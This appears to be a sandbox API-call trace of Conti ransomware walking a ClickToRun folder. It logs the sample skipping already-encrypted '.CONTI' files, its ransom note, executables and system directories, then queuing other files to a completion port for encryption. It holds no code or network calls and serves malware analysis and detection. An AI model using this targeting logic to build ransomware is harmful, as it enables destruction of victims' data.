	[0098.740] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eb2556b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.740] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.740] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.740] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb2556b, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb2556b, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb2556b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.740] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.740] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.740] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.740] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.740] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.740] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2=".") returned 1
	[0098.740] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2="..") returned 1
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.740] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.740] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.740] lstrlenW (lpString="MasterDescriptor.x-none.xml") returned 27
	[0098.740] GetProcessHeap () returned 0x1720000
	[0098.740] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfe) returned 0x17c32b8
	[0098.740] lstrcpyW (in: lpString1=0x17c32b8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.740] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\"
	[0098.740] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\", lpString2="MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml"
	[0098.740] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d31d8) returned 1
	[0098.740] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1
	[0098.741] lstrcmpiW (lpString1="s320.hash", lpString2=".") returned 1
	[0098.741] lstrcmpiW (lpString1="s320.hash", lpString2="..") returned 1
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch=".CONTI") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch=".exe") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch=".dll") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch=".lnk") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch=".sys") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch=".CONTI") returned 0x0
	[0098.741] StrStrIW (lpFirst="s320.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.741] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.741] lstrlenW (lpString="s320.hash") returned 9
	[0098.741] GetProcessHeap () returned 0x1720000
	[0098.741] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17c7180
	[0098.741] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.741] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\"
	[0098.741] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\", lpString2="s320.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash"
	[0098.741] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d38b0) returned 1
	[0098.741] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1
	[0098.741] lstrcmpiW (lpString1="stream.Platform.x-none.man.xml", lpString2=".") returned 1
	[0098.741] lstrcmpiW (lpString1="stream.Platform.x-none.man.xml", lpString2="..") returned 1
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch=".CONTI") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch=".exe") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch=".dll") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch=".lnk") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch=".sys") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch=".CONTI") returned 0x0
	[0098.741] StrStrIW (lpFirst="stream.Platform.x-none.man.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.741] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.741] lstrlenW (lpString="stream.Platform.x-none.man.xml") returned 30
	[0098.741] GetProcessHeap () returned 0x1720000
	[0098.741] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x17c8908
	[0098.741] lstrcpyW (in: lpString1=0x17c8908, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\"
	[0098.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\", lpString2="stream.Platform.x-none.man.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml"
	[0098.742] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2d48) returned 1
	[0098.742] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1
	[0098.742] lstrcmpiW (lpString1="stream.x86.x-none.hash", lpString2=".") returned 1
	[0098.742] lstrcmpiW (lpString1="stream.x86.x-none.hash", lpString2="..") returned 1
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch=".CONTI") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch=".exe") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch=".dll") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch=".lnk") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch=".sys") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch=".CONTI") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.742] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.742] lstrlenW (lpString="stream.x86.x-none.hash") returned 22
	[0098.742] GetProcessHeap () returned 0x1720000
	[0098.742] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf4) returned 0x17c8a18
	[0098.742] lstrcpyW (in: lpString1=0x17c8a18, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\"
	[0098.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\", lpString2="stream.x86.x-none.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash"
	[0098.742] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3f88) returned 1
	[0098.742] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.742] lstrcmpiW (lpString1="stream.x86.x-none.man.dat", lpString2=".") returned 1
	[0098.742] lstrcmpiW (lpString1="stream.x86.x-none.man.dat", lpString2="..") returned 1
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".exe") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".dll") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".lnk") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".sys") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.742] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.743] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned 98
	[0098.743] lstrlenW (lpString="stream.x86.x-none.man.dat") returned 25
	[0098.743] GetProcessHeap () returned 0x1720000
	[0098.743] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfa) returned 0x17c8b18
	[0098.743] lstrcpyW (in: lpString1=0x17c8b18, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16"
	[0098.743] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\"
	[0098.743] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\", lpString2="stream.x86.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat"
	[0098.743] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5410) returned 1
	[0098.743] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.743] GetProcessHeap () returned 0x1720000
	[0098.743] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173baf8 | out: hHeap=0x1720000) returned 1
	[0098.743] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0098.743] GetProcessHeap () returned 0x1720000
	[0098.743] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d07e8 | out: hHeap=0x1720000) returned 1
	[0098.743] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0098.743] GetProcessHeap () returned 0x1720000
	[0098.743] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0098.743] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0098.743] GetProcessHeap () returned 0x1720000
	[0098.743] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.743] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2=".") returned 1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="..") returned 1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="tmp") returned -1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="winnt") returned -1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="Application Data") returned -1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="AppData") returned -1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="temp") returned -1
	[0098.743] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="thumb") returned -1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="$Recycle.Bin") returned 1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="$RECYCLE.BIN") returned 1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="System Volume Information") returned -1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="Program Files") returned -1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="Program Files (x86)") returned -1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="Boot") returned -1
	[0098.744] lstrcmpiW (lpString1="A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="Windows") returned -1
	[0098.744] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned 51
	[0098.744] lstrlenW (lpString="A6A87302-92AE-41F2-AC52-73F5EE18259F") returned 36
	[0098.744] GetProcessHeap () returned 0x1720000
	[0098.744] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb2) returned 0x17c61b0
	[0098.744] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0098.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\"
	[0098.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\", lpString2="A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F"
	[0098.744] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned 88
	[0098.744] GetProcessHeap () returned 0x1720000
	[0098.744] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb6) returned 0x17c6c78
	[0098.744] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F"
	[0098.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*"
	[0098.744] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned 88
	[0098.744] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.744] GetProcessHeap () returned 0x1720000
	[0098.744] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd4) returned 0x17d07e8
	[0098.744] lstrcpyW (in: lpString1=0x17d07e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F"
